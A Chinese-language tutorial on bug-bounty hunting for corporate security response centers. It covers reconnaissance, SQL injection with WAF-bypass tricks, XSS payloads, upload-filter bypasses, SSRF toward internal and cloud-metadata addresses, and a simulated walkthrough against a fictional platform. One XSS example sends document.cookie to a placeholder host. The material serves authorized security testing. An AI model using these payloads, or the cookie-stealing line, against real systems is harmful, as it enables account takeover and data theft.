SRC漏洞挖掘实战：从工具链到业务逻辑的完整攻防指南

1. 从“挖洞”到“挖金”：SRC漏洞挖掘的实战价值与心路历程

每次看到安全圈里有人晒出SRC平台的致谢邮件和奖金截图，心里总会泛起一丝波澜。这不仅仅是一笔额外的收入，更像是一枚证明自己技术嗅觉和实战能力的勋章。我接触SRC漏洞挖掘也有几年了，从最初漫无目的地瞎碰，到后来能形成一套相对稳定的思路和打法，中间踩过的坑、熬过的夜，现在回想起来都是宝贵的经验。今天，我就以一个“老矿工”的身份，和大家聊聊SRC漏洞挖掘的那些事儿。这不是一份速成指南，而更像是一张实战地图，希望能帮你避开我走过的弯路，更快地找到属于自己的“矿脉”。

简单来说，SRC（Security Response Center，安全应急响应中心）就是企业设立的、面向白帽子（安全研究人员）的漏洞收集平台。你发现并提交企业资产中存在的安全漏洞，他们评估确认后给予你奖金、积分或荣誉致谢。这听起来很美，但现实是，随着参与者的增多，那些显而易见的“低垂果实”早已被摘完。现在的SRC挖掘，更像是一场信息差、耐心和思维深度的综合较量。它适合有一定Web安全基础、渴望实战、并且不畏惧枯燥重复工作的朋友。如果你刚入门，想通过SRC检验所学；或者你是安全从业者，想拓宽视野和收入渠道，那么接下来的内容，或许能给你一些启发。

2. 战前准备：构建你的专属“武器库”与情报网络

在扛起“镐头”盲目开干之前，一个合格的“矿工”必须准备好趁手的工具，并摸清“矿区”的地形。很多人一上来就直奔目标网站开始点点点，效率极低，且容易迷失方向。我的经验是，七分准备，三分挖掘。

2.1 核心工具链的选型与配置

工欲善其事，必先利其器。下面这张表是我日常高频使用的一些工具，它们覆盖了信息收集、漏洞探测、辅助分析等各个环节。

注意：工具永远只是辅助。最强大的工具是你的大脑。不要陷入“工具集邮”的误区，深入理解其中几款核心工具的原理和最佳实践，远比浅尝辄止地使用几十款工具要有效得多。

2.2 目标筛选与情报深度搜集

选对目标，成功一半。面对成百上千个SRC平台，如何选择？

第一步：明确自身优势与兴趣领域。

• 教育行业（如EDUSRC） ：系统多采用老旧框架，逻辑漏洞和弱口令相对高发，但资产可能分散，需要耐心。
• 互联网大厂 ：技术栈新，防护完善，但业务复杂、新功能上线快，容易出现“配置失误”或“业务逻辑”层面的高端漏洞。适合喜欢钻研逻辑和业务流程的人。
• 金融、国企 ：传统Web应用可能较多，SQL注入、XSS等传统漏洞仍有空间，同时也有APP、小程序等新载体。
• 新兴科技公司 ：可能使用大量第三方组件、云服务，供应链漏洞（如错误的S3桶权限、泄露的API密钥）和云配置错误是重点。

第二步：深度情报搜集（以“example.com”为例）。 这步远比子域名枚举更重要，目标是绘制一张包含以下信息的“资产地图”：

1. 主体关联 ：除了 example.com ，还有哪些子公司、收购的品牌、投资的项目？使用企查查、天眼查等工具。
2. 应用识别 ：主站是纯静态页面，还是Vue/React前后端分离？后台管理系统用什么框架？移动端APP有吗？小程序呢？使用Wappalyzer插件快速识别。
3. 接口梳理 ：打开浏览器开发者工具（F12），切换到Network（网络）标签，刷新页面并操作各项功能。关注：
   • api.example.com 或 *.api.* 的域名。
   • URL路径中包含 /api/v1/ , /rest/ , /graphql 的请求。
   • 请求方法（GET, POST, PUT, DELETE）和参数格式（JSON, Form-data）。
   • 特别关注JS文件 ：右键页面，查看源代码，搜索 .js 文件。下载这些JS文件，用工具（如 LinkFinder ）或肉眼搜索 api , url , endpoint , path , http:// , https:// 等关键词，常能挖出未在页面中暴露的“隐藏接口”。
4. 历史遗迹 ：使用 waybackurls example.com | tee urls.txt 命令，获取大量历史URL。过滤出带参数的（ ? 号后面的），这些往往是已被遗忘但后端可能未做权限校验的“古董接口”，是越权漏洞的富矿。
5. 员工信息 ：在GitHub、GitLab上搜索公司邮箱后缀（如 @example.com ），有时能发现员工不小心上传的配置文件、内部文档、甚至源代码，里面可能包含密钥、内网地址等敏感信息。

3. 核心攻击面剖析：从传统漏洞到业务逻辑深水区

信息收集完毕后，我们手握一张资产地图。接下来就是有重点、有层次地进行测试。我把漏洞挖掘分为几个层次，像剥洋葱一样，从外到内。

3.1 永不落幕的“古典漏洞”与新形态

虽然防御手段在升级，但一些经典漏洞因其危害直接，始终是SRC的“基本盘”。不过，它们的表现形式可能更加隐蔽。

SQL注入 ：如今显式的 ' and 1=1-- 几乎绝迹。重点在于：

• 注入点位置 ：不仅仅是登录框，关注搜索框、订单查询、用户ID回显、数据排序（ order by 参数）、报表导出等功能点。
• 注入类型 ：时间盲注和布尔盲注成为主流。需要熟练使用Burp的Intruder或编写脚本，通过响应时间差异或页面内容细微变化（如“查询成功”与“查询失败”的文本差异）来判断。
• WAF绕过 ：这是关键。常见的技巧包括：
  • 参数污染 ： id=1&id=2 ，WAF检测第一个 id=1 ，而应用可能取最后一个 id=2 。
  • 特殊字符与编码 ：使用 /**/ 代替空格， %0a 换行，十六进制编码，Unicode编码等。
  • 大小写变换、重复关键字 ： UNunionION 。
  • 实战中，我常先用 sqlmap 的 --tamper 脚本（如 tamper.py ）进行初步测试，再根据返回的WAF拦截页面特征，手动构造绕过payload。

跨站脚本（XSS） ：反射型和存储型依然是重点。测试时不要只弹 alert(1) 。

• 寻找输入输出点 ：所有用户可控并能回显到页面的地方。包括：搜索框、评论、个人信息（昵称、头像URL）、订单备注、站内信、文件上传名等。
• 测试payload升级 ：

  <img src=1 onerror=alert(1)> // 经典
  <svg onload=alert(1)> // SVG标签
  “ onmouseover=alert(1) // 逃逸属性值
  <script>fetch('https://your-server.com/steal?cookie='+document.cookie)</script> // 实战利用
  

• 关注富文本编辑器 ：尝试绕过其HTML过滤规则。查看编辑器调用的JS库（如UEditor, KindEditor），搜索其历史漏洞。
• DOM型XSS ：更多依赖于代码审计。在Chrome开发者工具的Sources面板中，全局搜索 innerHTML , document.write , location.hash , eval() 等危险函数，跟踪用户输入是否未经净化就流入这些函数。

跨站请求伪造（CSRF）与越权访问 ：这两者常相伴而生，是业务逻辑漏洞的“入门课”。

• CSRF ：检查关键操作（修改密码、转账、添加管理员）的请求是否仅依赖Session Cookie，而没有使用CSRF Token、验证码或请求头校验（如自定义Header）。用Burp生成一个POC HTML，测试是否能成功触发。
• 越权 ：这是SRC的“高产田”。分为水平越权（访问同权限其他用户的数据）和垂直越权（低权限用户执行高权限操作）。
  • 水平越权 ：修改请求中的用户ID、订单号、手机号等参数，看是否能访问他人数据。例如， /api/order?id=123 ，尝试改为 id=124 。
  • 垂直越权 ：普通用户尝试访问 /admin/ 目录，或调用仅限管理员使用的API接口。关键在于找到权限校验的边界。有时，前端菜单隐藏了管理员入口，但后端接口未做校验，直接访问接口URL即可（ 这就是之前信息收集时找隐藏接口的价值 ）。

3.2 业务逻辑漏洞：思维的竞技场

如果说传统漏洞靠工具和payload，那么业务逻辑漏洞则完全依靠你对业务流程的理解和“脑洞”。这也是区分普通白帽子和高手的关键。

1. 业务流程绕过

• 验证码绕过 ：验证码是否在客户端生成和校验？是否在第一步校验后，第二步就不再校验？是否可重复使用？是否可通过响应包直接返回？
• 步骤绕过 ：一个多步骤流程（如填写信息->确认->支付），能否直接跳过中间步骤，访问最终步骤的接口并提交数据？
• 条件竞争 ：在限量领取优惠券、秒杀商品时，同时发起大量请求（使用Burp的Turbo Intruder插件），可能绕过库存或次数限制。
• 参数篡改 ：商品支付金额 amount 、运费 freight 是否可改为负数或极小值？优惠券面值 value 是否可改大？

2. 授权与认证缺陷

• 密码重置漏洞 ：这是经典富矿。常见模式：向用户手机/邮箱发送验证码。
  • 验证码爆破 ：验证码是否为4-6位纯数字？是否无次数限制？用Intruder爆破。
  • 验证码回显 ：验证码是否直接出现在响应包（JSON/HTML）中？
  • 邮箱/手机号篡改 ：在发送验证码或重置的最后一步，将请求中的手机/邮箱参数改为攻击者的，从而将目标账户的密码重置到攻击者控制的手机上。
  • Token弱验证 ：重置密码的Token是否与用户名无关？是否可预测（如基于时间）？获取自己的重置Token后，修改用户名参数为他人，是否能用同一Token重置他人密码？
• 会话管理缺陷 ：登录后获得的Token或Cookie，是否具有规律（如递增数字、Base64编码的用户名）。退出登录后，Token是否立即失效？

3. 用户输入与输出处理的盲区

• JSON参数注入 ：当请求体为 {"username":"admin","age":20} 时，尝试注入： {"username":"admin\" or 1=1--","age":20} ，如果后端是拼接字符串生成SQL，可能造成注入。
• 文件上传的“七十二变” ：不仅检查后缀名黑名单。
  • 前端绕过 ：修改Burp请求，将 image/png 改为 application/php 。
  • 后缀名混淆 ： shell.php.jpg , shell.php%20 , shell.pHp （大小写）， shell.php::DATA （NTFS特性）。
  • 内容欺骗 ：在图片文件开头加入 GIF89a 等文件头，后面拼接恶意代码。
  • 解析漏洞 ：配合服务器特性，如Apache的 shell.php.jpg （如果 .jpg 未被识别），IIS的 shell.asp;.jpg 。
  • 归档文件上传 ：上传ZIP文件，如果服务端有解压功能且未检查解压后的文件，可能造成任意文件上传。
• SSRF（服务端请求伪造） ：寻找能发起网络请求的功能点，如“网页转码”、“在线翻译”、“头像URL设置”、“文件导入（从URL）”。尝试让服务器访问内网地址（ http://127.0.0.1:8080/admin ）或云元数据地址（ http://169.254.169.254/ ）。

4. 高效实战流程：从目标到报告的一条龙打法

有了方法论，我们来看一个模拟的实战流程，如何将上述点串联起来。

假设目标：一个新兴的在线教育平台“EduNew”。

阶段一：深度侦察（耗时：1-2小时）

1. 子域名枚举： oneforall --target edunew.com run ，得到 www.edunew.com , api.edunew.com , teacher.edunew.com , admin-edu.edunew.com 等。
2. 技术识别：主站是Vue.js前后端分离，API接口返回JSON。教师端似乎是ThinkPHP。后台登录页面是 admin-edu.edunew.com/login 。
3. 接口收集：浏览主站所有功能，Burp历史记录中筛选出 api.edunew.com 的请求。分析JS文件，发现一个隐藏的课程管理接口 /api/internal/course/list ，前端未使用。
4. 历史信息： waybackurls edunew.com | grep "?" | head -20 ，发现一个旧的教师评价提交接口 /legacy/teacher/comment.php?tid=xxx&content=xxx 。

阶段二：漏洞探测（分层进行）

1. 快速扫描 ：将 teacher.edunew.com 和 admin-edu.edunew.com 丢给 dirsearch 进行目录爆破，发现 /admin-edu/upload.php 。
2. 重点突破 ：
   • 对隐藏接口测试越权 ：直接访问 /api/internal/course/list ，返回“无权限”。但将请求中的Cookie换成普通教师账号的Cookie后，成功返回课程列表！这是一个垂直越权（教师访问了内部管理接口）。
   • 对历史接口测试注入 ：测试 /legacy/teacher/comment.php?tid=1 ，发现 tid 参数存在数字型SQL注入（ and 1=2 导致页面错误）。
   • 对上传点测试 ：访问 /admin-edu/upload.php ，需要登录。尝试弱口令（admin/admin123, admin/edu@2024）无果。但发现登录失败时，响应包中有一个 debug: true 的字段，提示了ThinkPHP版本（5.0.24）。立刻搜索该版本已知漏洞，发现存在一个远程代码执行漏洞。构造Payload进行验证，成功执行 whoami 命令。
3. 业务逻辑测试 ：
   • 注册一个学生账号和一个教师账号。
   • 学生账号购买课程后，Burp抓取“观看视频”的请求，URL中包含 course_id 和 video_id 。尝试修改 course_id 为其他未购买的课程ID，发现可以正常播放！这是一个水平越权漏洞。
   • 测试密码重置功能：输入手机号获取验证码，Burp拦截响应，发现验证码 code: "123456" 直接以JSON形式返回。这是一个验证码回显漏洞。

阶段三：整理与报告（至关重要） 一个优秀的报告是获得认可和奖金的关键。

1. 清晰复现 ：按步骤详细描述，从如何发现入口点开始。例如：“1. 通过JS文件分析发现隐藏接口 /api/internal/course/list 。2. 使用普通教师账号Token（Token: eyJ...）替换请求头中的Authorization字段。3. 发送GET请求，成功获取到本应只有管理员可见的课程列表。”
2. 证据确凿 ： 必须提供截图和视频 。截图应包含请求和响应（Burp的Request/Response），关键参数和结果要清晰。对于复杂漏洞（如RCE），最好录制屏幕操作视频。
3. 危害阐述 ：说明漏洞可能造成的实际影响。例如：“此越权漏洞导致任何教师可查看平台所有内部课程数据，包括未公开的、定价策略等敏感信息，造成商业数据泄露。”
4. 修复建议 ：给出具体、可操作的修复方案。不要只说“加强校验”。例如：“在后端 /api/internal/course/list 接口的控制器方法开头，增加角色权限判断，仅允许 role=admin 的用户访问。参考代码： if (currentUser.role != 'admin') { return error('Forbidden'); } ”。

5. 常见“踩坑”实录与进阶心法

挖洞路上，除了收获的喜悦，更多的是踩坑的郁闷。分享几个我亲身经历或常见的问题。

问题1：为什么我扫了半天，一个漏洞都找不到？

• 可能原因与对策 ：
  • 目标太热门 ：巨头公司的核心业务被无数人扫过。尝试关注其新上线的子业务、新收购的子公司、边缘业务系统（如员工内部培训平台、合作伙伴后台）。
  • 姿势不对 ：停留在用扫描器扫常见端口和目录。要转向 深度业务逻辑测试 和 非常规入口点挖掘 （如小程序、APP接口、微信公众号、H5活动页面）。
  • 缺乏耐心 ：挖洞是枯燥的。可能需要测试几十个参数、翻阅数万行JS代码，才能找到一个突破口。培养“黑客”的耐心和执着。

问题2：我找到了一个疑似漏洞，但无法稳定复现或利用。

• 可能原因与对策 ：
  • 环境依赖 ：某些漏洞只在特定条件（如特定浏览器、登录状态、时间点）下触发。仔细记录复现环境的所有细节。
  • WAF干扰 ：你的攻击payload被WAF随机拦截或变形。尝试降低攻击特征，使用更温和的测试payload，或寻找绕过方法。
  • 竞争条件 ：这类漏洞本身就不稳定。需要编写脚本或使用Turbo Intruder等高并发工具，多次尝试。

问题3：提交漏洞后，被厂商判定为“无风险”、“重复”或“不予受理”。

• 可能原因与对策 ：
  • 重复提交 ：提交前，在SRC平台内搜索类似漏洞报告。你的“新发现”可能早已被人提交。
  • 危害描述不清 ：仅仅证明“可以弹窗”，对于存储型XSS是严重，对于反射型可能就只是低危。要证明它能窃取Cookie、发起恶意操作等实际危害。
  • 不符合规范 ：仔细阅读目标SRC的漏洞评级标准和提交规范。有些厂商不接受扫描器直接输出的漏洞，有些对Self-XSS（需要用户自己输入恶意代码才能触发的XSS）评级很低。
  • 沟通技巧 ：报告描述要专业、清晰。如果厂商有疑问，积极、友好地沟通解释，提供更多证据。

进阶心法：培养“攻击者思维”

1. 身份切换 ：测试时，时刻思考：“如果我是攻击者，我想达到什么目的？（窃取数据、篡改信息、获取权限）”“我现在扮演的是什么角色？（未授权用户、普通用户、VIP用户、管理员）”
2. 关注“边界” ：系统设计时，权限、状态、流程的切换处最容易出错。比如登录与未登录的边界、付费与未付费的边界、不同用户角色的边界、操作步骤之间的边界。
3. 信任但验证 ：不要相信前端传来的任何数据。价格前端校验了，后端校验了吗？权限前端菜单控制了，后端接口校验了吗？“这个参数用户应该改不了吧？”——亲自用Burp改一下试试。
4. 保持好奇与学习 ：安全技术日新月异。关注新的攻击技术（如GraphQL注入、Serverless安全）、新的业务模式（如Web3、物联网）、新的框架漏洞。每天花点时间阅读安全社区（如Seebug、先知、国外HackerOne的公开报告）的优质文章。

这条路没有捷径，唯手熟尔。每一次失败的测试，都在帮你排除一个错误选项；每一次成功的挖掘，都在加深你对系统运作的理解。最重要的不是某个具体的漏洞，而是在这个过程中锻炼出的系统性思维、敏锐的观察力和永不满足的好奇心。当你开始习惯性地用“攻击者”视角去审视每一个网络交互时，你就已经走在了正确的道路上。最后，记住一句老话：合规测试，授权先行。在SRC的框架内施展你的才华，这才是可持续的“挖金”之道。